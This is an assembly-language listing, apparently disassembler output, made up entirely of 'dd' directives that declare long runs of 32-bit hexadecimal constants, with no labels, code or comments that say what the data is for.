		dd 17D332EBh, 0A28C0DDEh, 0C62E54DBh, 6296EEFBh, 0A8F64F41h
		dd 0F2EB804Bh, 47BB45E9h, 8AB82C62h, 808A46B7h,	0B922A2ECh
		dd 277A51Fh, 12BF57BEh,	6B0D2C60h, 0E96A4409h, 56D8C21Dh
		dd 0A7B35C96h, 2DCFE9C1h, 587CCA2Bh, 6850043Ah,	0CBBB7DCEh
		dd 0D80C783Bh, 593BFCE9h, 5D7AB5C5h, 74098F99h,	0E4A6F9F0h
		dd 0B2C4ABDDh, 0E5852DFDh, 0B88D904Ch, 5775645Eh, 144EBF13h
		dd 1FB2F708h, 2C354196h, 3AF7CDB1h, 0E124F3C7h,	2A2410C1h
		dd 0BEED24A7h, 2348220Ch, 21A02F7h, 555268B9h, 19484C1h
		dd 5321EC80h, 0C4D805CDh, 0B5DCA083h, 0F2E918BFh, 7BE7255Ah
		dd 0F2C7FE3Ah, 0F8281316h, 4EB12300h, 0A9F552E9h, 0A07AD6CEh
		dd 494B5A9Ch, 7BE34C4h,	75CB01C6h, 7A9EB146h, 42A8F9Dh
		dd 0B20487EFh, 1C6384E4h, 0E87FBF09h, 0FA5FF8EDh, 3F3D6909h
		dd 512D8400h, 15510B3Eh, 74FB2AC7h, 21F4C253h, 62AEE901h
		dd 9479B22Fh, 126D3A3Eh, 0BEE32ED8h, 81BAA44Ah,	2D84CF04h
		dd 0FAC12F1Ch, 0C220FF92h, 363A25E9h, 5FA126Bh,	0A50CCA72h
		dd 2E03AD7Eh, 437F31A9h, 2051D64Eh, 532E3D6Eh, 58135926h
		dd 0B5B928A0h, 38810F27h, 964E6D00h, 0B54C293Bh, 0C80B0C6h
		dd 6692B9E9h, 541A3297h, 6C630B28h, 9188E6D1h, 5CE90B47h
		dd 7855F1C2h, 757E09A5h, 474666Fh, 0EA940720h, 0B30CF72Dh
		dd 0D6E0E60Ch, 0DD589790h
		dd 0F7405B83h, 251CEBC6h, 0A000924Ch, 27BF02ADh, 0BA89CFDCh
		dd 0FD748ADDh, 5FA4DF0Bh, 0F1EC4B1Ch, 5B32B409h, 93710F62h
		dd 0BBB552Ch, 1A95014h,	0C0EB6520h, 2260776Bh, 9D67D10Ch
		dd 0C8436047h, 0BDE48C84h, 0B15C229Dh, 61B1E88Bh, 2523BB1Ah
		dd 23ACF976h, 0A5F7E909h, 9CBC5860h, 2A05A04Ch,	8017D177h
		dd 0CE08909Eh, 80720360h, 0CF4C0F2Dh, 0D5612470h, 40DD2962h
		dd 9F5C5A5h, 0F852C425h, 63A434F0h, 2427BAE9h, 8CACF560h
		dd 35B858A5h, 920FFD04h, 694FF58h, 535D0804h, 0CE99C9ECh
		dd 89407B91h, 364A5AC1h, 600BF62Fh, 0A6E717FAh,	3B58846Dh
		dd 0B8C39C85h, 794BF318h, 25B3030Ch, 60A0E9AFh,	0E3805603h
		dd 93C3FE14h, 4046BFCBh, 8295C06h, 0C64E6322h, 0C4ECEDF5h
		dd 0BD16CFC8h, 6F526362h, 0D54C34D0h, 58336487h, 5B0E0780h
		dd 1299099h, 0FC76F0EAh, 7550E91Eh, 4BC3F1Fh, 43B4C8A8h
		dd 95BF5117h, 8DE2FE47h, 5EA40CD6h, 1A5C430Bh, 0F768C3EDh
		dd 0F7BF8440h, 6AE90961h, 0A7C6773Ah, 38F1164Ah, 2547E77Ah
		dd 0F045643Bh, 12C9ADDh, 0BB85043h, 7B648638h, 1816B1B4h
		dd 2F14A905h, 53124335h, 2A0B59C8h, 0BE05856Dh,	95091FF0h
		dd 93D6BCABh, 68139E22h, 14F80CA3h, 0F4627C4h, 0FDCBFD95h
		dd 0A05AD44Ah, 980201A1h, 0DE31B8CFh, 0C2916B5Bh, 0FA143A37h
		dd 0EAA431A8h, 5FEBA904h, 0F8B11013h, 809C4129h, 13221E2Dh
		dd 0D028297Bh, 0FE960705h, 28F41F88h, 7F290C61h, 1BE21605h
		dd 0DDB2D02h, 5D850EE9h, 51455C71h, 53680960h, 7599BD18h
		dd 0BEDA54DFh, 581B38F9h, 0D0804E19h, 292C92Ch,	703AFE9Fh
		dd 2BE157ADh, 1AB12EAFh, 5D6F6E2Bh, 224F054h, 46317725h
		dd 0E9682Fh, 86CD814Dh,	0F80A5D07h, 0CBF1959Bh,	0A849562Fh
		dd 0B59000Ch, 9E356D7Dh, 5609DA73h, 7FE1E948h, 0B4570909h
		dd 0F4769F2Ah, 0B573DFDAh, 591C76ADh, 0FA83BCBh, 3A7CAAD7h
		dd 2D26E6C5h, 88F56B53h, 59020838h, 755DFD68h, 5A8E4E98h
		dd 584BEA83h, 4910F474h, 891E6095h, 4D6209FBh, 9A62F85Ch
		dd 30F1B05Eh, 0FA31801Bh, 0B51440BFh, 13209D20h, 0DF7AC605h
		dd 0BEC7293Eh, 0C3A85ED2h, 0A4E411A1h, 7103D173h, 0B5FA05Dh
		dd 6C065A0Ch, 0E1AD9602h, 89835104h, 4CAD1032h,	0D3247A48h
		dd 77CEB51Dh, 3E6050E1h, 88715150h, 0A411B82Fh,	7F32C301h
		dd 813F11E8h, 0E21768C0h, 0E873BD9h, 226B9DE2h,	57E83184h
		dd 0E1A87EE5h, 0D41D8E09h, 6EFA7F52h, 0DB4B909h, 3DB98235h
		dd 0E1000990h, 42A41D37h, 0DB5B5E27h, 3CD20B14h, 7D6A35FEh
		dd 909D4EA7h, 4A022D2Fh, 0C4222699h, 250549B3h,	35583812h
		dd 9691082h, 68127AF2h,	56342E5Bh, 1080E3AEh, 3109450Eh
		dd 41A058C6h, 7051FE2Dh, 0C8293513h, 4F080D10h,	0B2E5BBA1h
		dd 4F55C03h, 7BC2FFFh, 8CF2FE89h, 83565576h, 1F94EAE0h
		dd 0C1543BC9h, 0AEFD062Fh, 0EE686281h, 0D190F44Fh, 82E90083h
		dd 24E59FF1h, 0DFCE8809h, 3C00C6D0h, 595A5B87h,	9A171DE9h
		dd 0AFD94BB6h, 0BA7F8001h, 4C90B1DDh, 0C6AD28DEh, 506B6C0Dh
		dd 0E53E0C5Ah, 60CF303Ah, 13423580h, 0BEF9D3FAh, 344116C1h
		dd 534A7E82h, 0F9D75B52h, 6F6763F0h, 0FC2D6AF8h, 6ED67D03h
		dd 921C4D0Dh, 4BA3857Fh, 4504F1A9h, 0C03FAE33h,	0DC06DB44h
		dd 0B3186560h, 4ABF8EC5h, 7840A021h, 0F8EB80A8h, 0C3A26827h
		dd 97439FFAh, 2E0C7B39h, 3EE1B10Fh, 36668460h, 5040DF1h
		dd 4CBFD902h, 930B5BAh,	5228021Ch, 0E3E57955h, 807566F8h
		dd 0A166F34h, 0E62A04FFh, 0BAC340EAh, 0A00C6B5Ch, 2533A7A5h
		dd 467C0AB5h, 0F0E8524h, 74AC5219h, 0D9620D1Dh,	428B181Ah
		dd 0EA551FB5h, 55080B42h, 227EE1CAh, 0F4BF43EBh, 5E024ACh
		dd 1B0B829Ch, 0A061E9DBh, 98BF66B2h, 77F7E839h,	3ECA90D7h
		dd 0EC5EA047h, 0EA126109h, 0D1F805CAh, 9D52F8E2h, 5ACD262Fh
		dd 4328EC20h, 0C1D242CFh, 16E8E942h, 11030D29h,	31E4CB82h
		dd 0A7F25DE3h, 0F7249E50h, 9902A3DAh, 0DD65453Dh, 0C8F29CA0h
		dd 0E12353Eh, 222C5852h, 103A2568h, 59C17D18h, 0E946D606h
		dd 9F5C92D4h, 77B35A02h, 0A8F0F97Dh, 5C2BE400h,	2789535Bh
		dd 0FF95AAF0h, 4EB04D16h, 0B4EC8395h, 56E2824Dh, 6850508Ah
		dd 0A0E99F5Fh, 0A5D00B89h, 0DA28BB54h, 2D69FAB8h, 571C6AC5h
		dd 0A5E94243h, 0A5452F24h, 0B1565008h, 1ADAD508h, 1CC05AF6h
		dd 8180153Ch, 123D07C9h, 0CA834E0Ch, 57D100A9h,	45828BBFh
		dd 5E1A04Ah, 0D721DF50h, 75BAA26Ah, 265D60Ah, 2D4B789Fh
		dd 0EE4CE4D7h, 2E75FE63h, 9A8CE29h, 0D153FA72h,	41530DB2h
		dd 0E37A3C43h, 54501770h, 94C58BA2h, 0DB8F6726h, 47D58EABh
		dd 72CA425Bh, 0A5B359FDh, 0A9373A5Fh, 0C2D0F979h, 0C9A0D4D6h
		dd 0F784DF5h, 2623BA07h, 51F41EE4h, 955E56A0h, 1327FFDAh
		dd 0F7E1A935h, 6B4D0248h, 87F290B7h, 0CFC3868h,	522CAB5Eh
		dd 4C2D5920h, 1C7B8680h, 527E94Bh, 0F85BC8EEh, 4F7C2D48h
		dd 8F6138C2h, 28FB04C5h, 4B5B3651h, 21A5E1A8h, 0C9EF65h
		dd 734DEA87h, 0D8D5E431h, 19A3C408h, 8B20E23Eh,	8003E5C1h
		dd 212BA491h, 2FD39038h, 0EFF0D0BAh, 6478DE27h,	2DC305B7h
		dd 0C277AC65h, 0CACA9709h, 0AA909794h, 0E408520Bh, 5237E41h
		dd 832ACB2Dh, 0BD83521h, 0E914273Dh, 77C526Eh, 5EF93A19h
		dd 72020AB2h, 0F00CEE2Ah, 41DF9016h, 67C7016Eh,	929F6286h
		dd 5625C7B4h, 0FA4A0EE5h, 4BCF70CCh, 88ACE487h,	78C34102h
		dd 511112E9h, 32064B46h, 67164052h, 98C0542Dh, 90C78105h
		dd 357A267Bh, 0B789A78Dh, 3A1AD9D5h, 254AF297h,	19DFD6Dh
		dd 68DFF759h, 0E4512A6Dh, 2680BEC2h, 0A4550D2Dh, 0C828012Ch
		dd 719D0705h, 0C0E9C24Ah, 0DD255BFCh, 555AFD16h, 71C082E2h
		dd 52A334Bh, 0CCB49309h, 567ADDD5h, 0C2D8D19Dh,	0D157679Ah
		dd 40188B69h, 2C9A954h,	514AAE7Ah, 16458980h, 78339046h
		dd 0A9B20E9Ah, 1992FA30h, 0E803355Bh, 31BF96ECh, 8512CCF1h
		dd 0C9ED801Eh, 82EC1DEEh, 0DD20A1EBh, 81BD3ED9h, 6866AEC5h
		dd 0C8D27DDCh, 7EB15108h, 63F1582Ah, 11B4500Bh,	41322C8Eh
		dd 0C86858ABh, 12DA6A15h, 849FB25Eh, 0CEA1D3E9h, 0E1254EB8h
		dd 0AA204878h, 0B9510264h, 0E681C13Ch, 2C3F0B7Eh, 50810A2Ah
		dd 5110B252h, 0AF6DD0E9h, 303EF3Eh, 0D7296B59h,	3F087E41h
		dd 0C26E7482h, 0B3E67580h, 8F54E913h, 0B417D0FDh, 0DCCAEFE4h
		dd 0E8FCF650h, 1F7E584Fh, 5DC6095Eh, 87C3DB75h,	0D308BE56h
		dd 0B8003D07h, 71DA372Ch, 9EB947E9h, 0EE8AE91Ah, 0E9D813D5h
		dd 0D1F82544h, 0A9F8A729h, 95EAB4B7h, 0E92CA1DDh, 0F66E40DBh
		dd 0E80185EBh, 81B4B4BBh, 74B7F306h, 20C4CC7h, 41A4531Eh
		dd 0C8F187E9h, 0F4919BCh, 0B86BC733h, 0B51F580Dh, 77E9C602h
		dd 6173FC50h, 0C2588368h, 4B2CDBDDh, 0D6CF7D6h,	527B2568h
		dd 0E6572291h, 939DD818h, 404228A4h, 0CD4F0183h, 0FB00D5B6h
		dd 81776102h, 5424BEE3h, 6261CDDh, 0D7EBE535h, 89BF3E15h
		dd 0D2558943h, 2AB609C0h, 1C002E30h, 6FE22D0Bh,	0B62E927h
		dd 518A6071h, 89B3BB5h,	0F480590Bh, 341D635Ch, 700658B6h
		dd 0FE5AF867h, 20DF09ECh, 0A50258E2h, 0F9DF2887h, 66E98B80h
		dd 0D8EBC2E8h, 69273B13h, 76496B09h, 2E65EF90h,	294BFF26h
		dd 562A8291h, 0AE590444h, 5D319A0Bh, 0DADA34B3h, 622F2264h
		dd 489B5325h, 3A413DB2h
		dd 671D6F85h, 0C0C85665h, 6D1D068Eh, 0D3C24CB9h, 89037933h
		dd 0F9C9D965h, 0FA4245D5h, 405FF5D2h, 475199h, 0CE8131A5h
		dd 0A147706h, 0C0809ADDh, 16E9F409h, 4B67BCC5h,	2679BF00h
		dd 0A2923A39h, 4F4AF338h, 0E36D34EBh, 0E9F704DFh, 0CEF14E68h
		dd 0BD69C830h, 0E0486F59h, 6F00B513h, 9DCC8090h, 0A8794EE9h
		dd 97E85B46h, 0A6C46AA9h, 942F7689h, 0FE9F0983h, 259F16D5h
		dd 58F9B668h, 0D64AE4A0h, 5B2117C3h, 6C45AF58h,	31EF4CD2h
		dd 3AF2BE47h, 4E0C92E4h, 0A7B6FC26h, 0BFF08FC5h, 61F30ABBh
		dd 2DAA3A43h, 0AA6275Ch, 0C10C9F10h, 4CD602E2h,	0FA5C31E6h
		dd 2D8D5870h, 6252D633h, 85A0BA7Bh, 0A61FCE89h,	61F69E90h
		dd 7C77A12Dh, 3295083Ah, 2B026A30h, 844B5E3Dh, 71E0FF36h
		dd 74434827h, 1E201580h, 71ED2925h, 0A108040Fh,	0E9E61014h
		dd 33C0B4B1h, 783C16C5h, 2182BF76h, 0A0D5D662h,	564267EFh
		dd 87B80D7Ah, 3A783321h, 0C770B7CDh, 49860FE9h,	0E1F238B1h
		dd 5E08001Ch, 631DAA05h, 0A54B7E1Fh, 0F03B0B78h, 0AD07837Eh
		dd 0E8E91104h, 2031ADAAh, 285D135Ah, 0C0359CBh,	0AAECDBF3h
		dd 0FA3099C9h, 0BF2C862Dh, 21131555h, 312A3900h, 0B0D13B97h
		dd 4AEF019Ch, 2942CBA3h, 4FFF26FAh, 4E30ECB4h, 69B4F345h
		dd 0C9E5F524h, 39B068C1h, 3BC46968h, 0C4430E07h, 7EF7AB91h
		dd 0ABC82112h, 0E98F80A3h, 13E4BD6h, 5B4A8964h,	5B89CBAAh
		dd 10DD09A0h, 25254934h, 544D55Bh, 5094E912h, 0A23B81CDh
		dd 6807987Eh, 35706301h, 0A17616Eh, 0F3B2955Ah,	14F627C4h
		dd 394215B2h, 35082CC8h, 7525354Ah, 5D24D495h, 0F869F24h
		dd 0C035C8BFh, 82210C0h, 0E12EC11Eh, 0E9055005h, 0A3BFA0C0h
		dd 3BED4118h, 0FB41BBB8h, 0AC7B83Bh, 0BB572CE9h, 27E8F181h
		dd 0B3400951h, 0B085D6BBh, 0FB924D5Ch, 1429FA4Ah, 0DAE5B6FCh
		dd 605DABE3h, 996DB08Dh, 814A809Ch, 33DE3AC2h, 0F589FD25h
		dd 0FE772EC2h, 78ECF175h, 46F35AE3h, 68F1F702h,	0C1A22916h
		dd 877EB330h, 0C3D95EADh, 0F4FC31D0h, 0A04AE93Bh, 6E59DDC2h
		dd 52672F87h, 4E06B2C6h, 8B1B7566h, 54532F10h, 0AFB1A6D1h
		dd 12FF1A68h, 2922C883h, 0CBA1625Ch, 1B968453h,	0C9646F8h
		dd 0BD10FE7Bh, 5435B509h, 0F5E86860h, 4B1A3115h, 743A560h
		dd 550D2553h, 0B22F860Ah, 78D2C1B5h, 0EDF822ADh, 0EF4A02EBh
		dd 0DC88E944h, 892E9EF9h, 16ED3305h, 0C6F681FFh, 3B316265h
		dd 6E26180Eh, 0EB51BC42h, 0CC56570h, 130508DAh,	6639AD0Ch
		dd 344DA34h, 5C14607Ch,	5310AB4Bh, 94EB85BBh, 7BA30E00h
		dd 0C14E3247h, 0ED4710Eh, 49AB3BABh, 0BE643EFh,	0CC0CD590h
		dd 0C2BEA5Ah, 486C1236h, 5E1BA19h, 0E9570800h, 9349650h
		dd 5387D146h, 85C8FB8Ch, 88005D2Ch, 11E1810Eh, 2D4E9F5Ch
		dd 98FCC149h, 0DFF7F906h, 0C981A008h, 8C7C5029h, 98E92FC8h
		dd 0D2571D09h, 0C642000h, 4FE554Ch, 40B5532Ch, 35A704F8h
		dd 4FE0ABFAh, 0D4884BF3h, 0E48B2147h, 11C31098h, 285B3D3Dh
		dd 4408A698h, 0F2256866h, 0FF3BE436h, 0AFBD3C40h, 359B3D75h
		dd 1774DB1h, 7EB85DAh, 0C2FB298Eh, 5BF75B34h, 0A1CC1645h
		dd 9A84DAA6h, 6FF9F1DCh, 5310F4E6h, 28B94062h, 0C2914F39h
		dd 59E90840h, 0B603D2C2h, 4EF68012h, 0C5E1F0F3h, 77D02E60h
		dd 6E36449Dh, 22019A13h, 210FC6h, 923160E9h, 0D9B7138Bh
		dd 284F0780h, 0E004D5F8h, 0F24E216Ah, 0C838BEFh, 0A20A28F7h
		dd 6920DC2h, 0E1F2657Ah, 590841EAh, 251F2F52h, 1D2D2044h
		dd 2E39EEh, 6213E90Fh, 33AC31A0h, 0AD01CF3Dh, 5E2609E1h
		dd 25A44857h, 0A8CA8A7Dh, 0D036FDA5h, 0A3EA0CD3h, 0A6AED229h
		dd 685B0580h, 0D5F32B35h, 0B0485026h, 8D32F368h, 0CB011317h
		dd 4F08C710h, 4E59EBB0h, 0D29DC053h, 465F1448h,	773903B9h
		dd 955B0AD0h, 930CD2D8h, 581D1A37h, 7A7E3ECEh, 6CE30476h
		dd 841FD56Ah, 0C18FC801h, 681606F8h, 0E06171CEh, 0BB2BD2DDh
		dd 5F040065h, 78C5082Ah, 2538B2E8h, 4BE3993h, 17F0A982h
		dd 684580EBh, 2AA441D9h, 778225E8h, 0F01293D4h,	0ACAE35AAh
		dd 0B57EB641h, 0E45AB259h, 0BEC14051h, 0C4253B04h, 0E2B64E7Ch
		dd 72419504h, 4C5BB86Ah, 0E44413AAh, 4B3CCBAEh,	21D34DE3h
		dd 63960891h, 0E8C10286h, 0FDC8310Ch, 6B8B0679h, 6B935453h
		dd 0E288417Ch, 0C15E05B9h, 0B7AB04EFh, 0A72D0005h, 3D53A66Dh
		dd 751F001h, 0A5DAFC3Bh, 1D80FE08h, 0CFAABD5Ah,	0C983DE49h
		dd 0B1FAC99Fh, 343D1D70h, 4C109820h, 904B5B16h,	684F0B09h
		dd 91F57C36h, 1FD8B61Eh, 0F0535001h, 515C40C9h,	80D5B11Fh
		dd 0F1CE5D9Ch, 44E1C079h, 0EAC0D9F6h, 9E9FC04h,	59CC882Ah
		dd 7B8BF277h, 583829E0h, 445CAFF9h, 0E15254A7h,	69B30F66h
		dd 9971035h, 30297778h,	410E2175h, 0EB0CC981h, 0C1E7B13h
		dd 2F0833EAh, 0F798E9CCh, 5ABD8E79h, 58C72882h,	25B49CB9h
		dd 97BE537Bh, 7B4E4D5h,	531149A2h, 0FD5E874Ch, 0B5292070h
		dd 0BA50DAD6h, 28021784h, 173B03Eh, 39FEEA4Fh, 0D90CAD43h
		dd 89FEC9ABh, 97BD6878h, 0E411AB5Bh, 515004Bh, 0DF4319Eh
		dd 633F4BEAh, 0B468973Ah, 5008C8EFh, 9CE686F2h,	4A0A2F5Ch
		dd 0FEBEC90h, 17671D62h, 5CC7A8D1h, 2A284ABCh, 0C07F40D5h
		dd 707EF37h, 0A6EC2DB2h, 0A0E5B5C6h, 805DB43Bh,	56178DBDh
		dd 740E63C8h, 0D77C2EE6h, 0C3A904FAh, 0E998A543h, 9F143809h
		dd 93C29A8Ch, 7C930FF3h, 3B693D83h, 5D4AEBD0h, 2F2F9DFAh
		dd 0E93128AFh, 0CEB59BFh, 682E0EABh, 0E41F694Ah, 1206F7CEh
		dd 17C0CEBAh, 0B8340114h, 0CC530C81h, 0E990FF72h, 3352E9B0h
		dd 0DC00A9D2h, 6CF726DBh, 0D3E60781h, 6028FB29h, 3C59FEC6h
		dd 6907B5Ch, 416264ABh,	6DEC090Ch, 0F9F5B863h, 0B123138Dh
		dd 57869340h, 0F6811F40h, 607F0E94h, 6AFB0C30h,	0B2B977AEh
		dd 0E12203Fh, 0E7ED8058h, 3031C561h, 687840EAh,	0C6B44DE2h
		dd 0ABF9C364h, 6F7C12Fh, 70E5BACh, 3E2409Ch, 0E9EADF01h
		dd 6AA43A08h, 0EF318F95h, 0DE503E89h, 780F7EB5h, 970ABE9h
		dd 0D6B3579Dh, 0BAEA25E5h, 0F702D1DDh, 40E542B2h, 72A8C243h
		dd 4A4B11h, 0C13FEC36h,	0A030E931h, 0B5513119h,	0AC6CC677h
		dd 682D9042h, 0BE15984Dh, 0FC1B1843h, 67405E3Fh, 0C0EBA54Bh
		dd 128CCABBh, 0E912C078h, 8442051h, 0BA80777h, 1C1740DFh
		dd 0E8B30539h, 0FFC6E325h, 0D1579409h, 64F825F0h, 4FE6A8C1h
		dd 26840ADFh, 0BE7748E9h, 53D3A8B8h, 0DFB6BA6Ah, 0CABDE982h
		dd 789FD090h, 0C902FA29h, 1CC10820h, 40332210h,	575C0C8Eh
		dd 0E5841C6h, 0FA38760Bh, 0E9AF5E74h, 5E78B875h, 0C301802Ah
		dd 8852EFB0h, 4D538AEBh, 9A09DFAFh, 0C1A98CE5h,	0D23D0D09h
		dd 691C50ABh, 21C29701h, 3EEC537Fh, 388034ADh, 309EF280h
		dd 62A1F390h, 0DEE86BDDh, 953D3135h, 4CDCB0Ah, 2CF5E9E2h
		dd 3A7929EAh, 4A6EA3C8h, 64CF9C49h, 1044884Ch, 0EB4A0662h
		dd 92A3F62Ch, 2F5176C5h, 7F5C5D72h, 0E9ED237Ah,	0E2BDA40Eh
		dd 1323BA40h, 0E86AF9C2h, 15444B9Eh, 0B0075244h, 182B727Bh
		dd 0D4E3EC57h, 0B20A317Ch, 895592Dh, 5E2731ABh,	5A080B79h
		dd 1840A76Ah, 0BCAB7485h, 7C40D2B1h, 537EC4F6h,	0CBA3EF12h
		dd 6A9A03B4h, 0F9EA56DAh, 8072B42h, 97C79A89h, 0A1EDAC53h
		dd 0E9036C07h, 0ABCB958Ch, 6D1BDE3h, 7E5B6809h,	92DB5E6h
		dd 0C41871ADh, 0BA93AF35h
		dd 7EBBB956h, 0BFC76792h, 0EF81885Dh, 1A8072CCh, 8609D16Eh
		dd 49987B0Eh, 0C57831E9h, 0E9CDC13Dh, 0F1B0F7B3h, 9B2C6936h
		dd 4B25969Ch, 91CE7DB1h, 4613BC63h, 723B4405h, 0AB33AF19h
		dd 25ADD68Bh, 36ECB8ACh, 3269E598h, 0EA6D0014h,	4DBE47B9h
		dd 0C20E4B3Ch, 14AC02F2h, 0B78671Ch, 0D3892C13h, 0E60A3D82h
		dd 25665FF4h, 0E912D0EFh, 6C94D8F4h, 0AC6858E0h, 58B49D2Ah
		dd 0D2B8D99Fh, 0A4DE2889h, 8BA06862h, 9B96DFF9h, 7533A9B5h
		dd 0FA75AFE2h, 6E4025A0h, 0C213CE55h, 0CF42882Fh, 3936FBE0h
		dd 0C9E29BB7h, 0D624C7A9h, 91524855h, 41729F04h, 6B44FA44h
		dd 680E6609h, 69F91C8Ah, 398C687Ch, 4DAE21ECh, 0E381F62Bh
		dd 7BDF0B59h, 129E76A9h, 0C9CBEBF8h, 4A28FD4Ah,	0BD4EC1BDh
		dd 18E9A0CDh, 2E69707h,	101D77D2h, 0DCBE1830h, 7F8D2D08h
		dd 0E709ED7Ch, 0AF4BDE84h, 6D8AA055h, 2C165E35h, 2D5C8951h
		dd 472FF7CCh, 20E679C3h, 733538AEh, 0F5051258h,	0B8C559E4h
		dd 6B0091Ch, 0ED9500A8h, 4E6D317Dh, 6F45F198h, 0B46A782Dh
		dd 8F5EA7B3h, 2920E9A6h, 0B885CBCh, 12591A3Bh, 694CDB75h
		dd 0D1E9B738h, 0FD0BB5Ah, 0B65E3968h, 1A7C69A9h, 30A95749h
		dd 9C7EB3CAh, 29E957C0h, 0B4B0B538h, 55815B87h,	9D2119FCh
		dd 9597B51h, 16FB8748h,	933E10Ah, 38FC75CDh, 452DDE60h
		dd 16D3B52Ah, 0E9180CA0h, 0BD7BDB43h, 56732D5Ch, 2C93BF03h
		dd 0CDB04FCBh, 0E83E65A4h, 64E50247h, 80205A62h, 0F367BDD8h
		dd 0EF212541h, 0D1484114h, 636A1367h, 0C3325DC9h, 7F914177h
		dd 32E96FE0h, 0C30EA73Bh, 569F0B6Ch, 6D5DCB8Ah,	0C3E98594h
		dd 0BFFA5747h, 0C105848Bh, 0C056333Eh, 38CDE94Fh, 295B0716h
		dd 68081F50h, 5F0F141Ch, 36CD9301h, 16C08A3Fh, 0EEA111E9h
		dd 5861AB3Bh, 1889E609h, 0FDD9C131h, 0E2AC8469h, 0D3578809h
		dd 5DB9934Ch, 0ECC02DAh, 485D5122h, 759FBD5Eh, 0FB6E4B6Ch
		dd 12C50121h, 2631309Bh, 50CAD5C2h, 0F5ECF0FFh,	0FA5E4527h
		dd 0E668E732h, 1F432D7Ah, 0B8173065h, 0CA6903EDh, 0EE9BE557h
		dd 305C2509h, 40979454h, 0B836802h, 1D622E9Ch, 0D64E7705h
		dd 43674190h, 0EB72F543h, 6812A10Eh, 0C97D690Fh, 4C57BDC0h
		dd 4D134570h, 5E13D5F7h, 0B3AD2D01h, 0FC7ABA8Fh, 80E825EDh
		dd 0E030379Bh, 16449D28h, 0B62766B0h, 259CD525h, 0F4785F27h
		dd 0D4D86431h, 6CF8EAF2h, 0AF49F234h, 68E096B8h, 34BB60EAh
		dd 0C825BE2Ch, 2027FEB9h, 0E70C50EFh, 9223462Ah, 0D99B5354h
		dd 2C3BC651h, 9130E965h, 8DB826BFh, 52CE0030h, 886CFD0Dh
		dd 25E2483Eh, 7800DAB8h, 6F2D4067h, 39FD5F26h, 0F36997E9h
		dd 69147E01h, 903D3041h, 5E823C1Fh, 0ADFAF207h,	0C7299202h
		dd 0FE891336h, 0CDE12839h, 85F2E86Fh, 24FE4B65h, 9CE0036h
		dd 0BA023874h, 338CC50Bh, 425A763Ah, 0C0DF47EEh, 0EC45C679h
		dd 0C24D4B7Bh, 0C1F64677h, 7A100F06h, 38DA0BACh, 3096B53h
		dd 8BFDC1AEh, 3D5E03F0h, 7A905DA5h, 0A7253416h,	89F6A0Ah
		dd 0D9085408h, 98680484h, 0C176AC72h, 82B7195h,	0B9742200h
		dd 0CFE796A0h, 28384C16h, 61E19EBh, 85248202h, 4017792Eh
		dd 4A7754Fh, 88E90AA6h,	0F6E918h, 72676494h, 0FC51DF01h
		dd 5F42B7D4h, 90571ED5h, 1DFB685h, 1A25162Dh, 2D01E91Ch
		dd 6706769Fh, 584F9E30h, 160B4F50h, 1E8ABFCBh, 9386F25Eh
		dd 0C76830D1h, 0EF5A126Fh, 58CBECA3h, 35CF0457h, 895AA016h
		dd 0E7C8DE4Eh, 98384E1Ch, 0CB406474h, 8B00050h,	458C388h
		dd 0D83A2840h, 0BBCE4A2Ch, 7F859A5Ch, 6096E3F1h, 7A11348Bh
		dd 24BABF0Dh, 0E65F0C09h, 9FB83D85h, 0C16EFB02h, 0F0C006E8h
		dd 0AD8034E6h, 0B0D84E31h, 8B95333Dh, 0A4ABF566h, 0E1641D0h
		dd 0C804C945h, 0CCEEB386h, 732D505Fh, 5F21D020h, 0D18B0402h
		dd 31B2078Fh, 12AF3673h, 0AA2DF053h, 6732B7A1h,	404235C0h
		dd 0D3EA085Ch, 9E194D28h, 8809362Ah, 8307829Fh,	0FB01002Eh
		dd 7D5E1768h, 8F547C33h, 6651DF09h, 0FEC727C7h,	0B851C9E9h
		dd 314F1C3Fh, 57E955Dh,	0FA7634C0h, 0EAD10571h,	0AC07E2C1h
		dd 5177516h, 8D49FEE9h,	4D148266h, 68BF58Fh, 90604294h
		dd 0BB535665h, 283178CEh, 0F105BE36h, 0B0B9EC7Fh, 4EF187CEh
		dd 0C980AF5Eh, 5B3B92C9h, 58BB00BBh, 2D396D5Fh,	184F520Eh
		dd 60AEA10Dh, 9E8161Bh,	0E7CA5017h, 59FA990h, 0E9B02F3Ch
		dd 0C5B530C2h, 44F7013Bh, 7F6196C9h, 0F3AE2E5h,	6563EFAEh
		dd 2404117Fh, 991DDA91h, 5A0F2482h, 0DA7E9FEAh,	0D2A5A73Dh
		dd 65CD02D4h, 0D14ACC10h, 0CFC40857h, 0E9AEBD02h, 3D2BD72Ch
		dd 6F756B92h, 0FE440EE0h, 0DBDA8136h, 384F3F8Bh, 7DABA24Dh
		dd 38E58441h, 0D25928CCh, 4624AEDBh, 0E5991CAFh, 4D6A2F60h
		dd 7BF347D6h, 0C77BC45Fh, 3A5DF994h, 0CC53D7BFh, 0FF1CF01Ch
		dd 94147D6Fh, 0A7285926h, 496997C0h, 97E19823h,	2AE9C948h
		dd 3EA4DD5Ah, 660831EDh, 46845E0h, 4A4604FAh, 0F33107ABh
		dd 71D135E2h, 607FC2D7h, 2885C0Bh, 0C67AC123h, 1471C760h
		dd 44F0F3Eh, 9B0337E5h,	14CF7CA0h, 0D6018B68h, 460C3A06h
		dd 70328015h, 0D7C6D9D9h, 0CD65558h, 0E96181BAh, 0C90C2F92h
		dd 16F66043h, 0EA23BA7Eh, 0C5072ECAh, 724797E7h, 0D9F1EB09h
		dd 84B2C360h, 89341583h, 6882B1D8h, 0F546332Ch,	314D6EA0h
		dd 0AC82A99Eh, 5762B70Ch, 70CD2940h, 561E6880h,	0AE04BE78h
		dd 0FBE8E7CCh, 0F48617A8h, 0B0762456h, 4D8F631h, 0DEF41804h
		dd 9ABB145h, 45E67CF7h,	5E28012Dh, 185FC97Fh, 4BA1E9F1h
		dd 0E97A6CBEh, 5AB5964Dh, 49AB1EBAh, 33FD038Dh,	876FD14Eh
		dd 0F84B14AFh, 0D85C9h,	0BD18E868h, 0EEA0C0E6h,	0D5266C50h
		dd 8180981Ch, 9560D1EDh, 0CFD0B5D7h, 80AC6499h,	55C2D19h
		dd 0A233D77Fh, 0F990C3C1h, 7148A319h, 0FFEB2D23h, 0AF50A89h
		dd 9827A575h, 813BD278h, 4DB42F5Ah, 0BF8A4BFBh,	0F8648ECAh
		dd 0C7660FD1h, 0EA4A0AE3h, 2FCC59BCh, 82AF102h,	0E90E12CBh
		dd 44C1440h, 0D418BAEBh, 92BFB9AEh, 55320313h, 1D46FF9Bh
		dd 8CBB314Bh, 424EE902h, 30B44B13h, 78D958EDh, 625F6127h
